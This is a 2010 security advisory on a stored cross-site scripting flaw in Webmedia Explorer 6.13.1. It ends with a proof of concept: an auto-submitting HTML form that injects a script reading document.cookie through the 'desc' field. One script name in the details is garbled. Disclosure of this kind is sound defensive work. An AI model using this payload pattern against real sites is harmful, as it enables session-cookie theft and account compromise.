28 lines
No EOL
1.4 KiB
Text
28 lines
No EOL
1.4 KiB
Text
Vulnerability ID: HTB22661
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Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_webmedia_explorer.html
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Product: Webmedia Explorer
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Vendor: Marc Salmurri ( http://www.webmediaexplorer.com/ )
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Vulnerable Version: 6.13.1 and probably prior versions
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Vendor Notification: 19 October 2010
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Vulnerability Type: Stored XSS (Cross Site Scripting)
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Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
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Risk level: Medium
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Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
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Vulnerability Details:
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User can execute arbitrary JavaScript code within the vulnerable application.
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The vulnerability exists due to failure in the "6.13.1!">" script to properly sanitize user-supplied input in "desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
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An attacker can use browser to exploit this vulnerability. The following PoC is available:
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<form action="http://host/folder" method="post" name="main">
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<input type="hidden" name="object" value="folder">
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<input type="hidden" name="desc" value='title"><script>alert(document.cookie)</script>'>
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<input type="hidden" name="tags" value="">
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<input type="hidden" name="position" value="">
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<input type="hidden" name="readme" value="post txt">
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</form>
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<script>
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document.main.submit();
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</script> |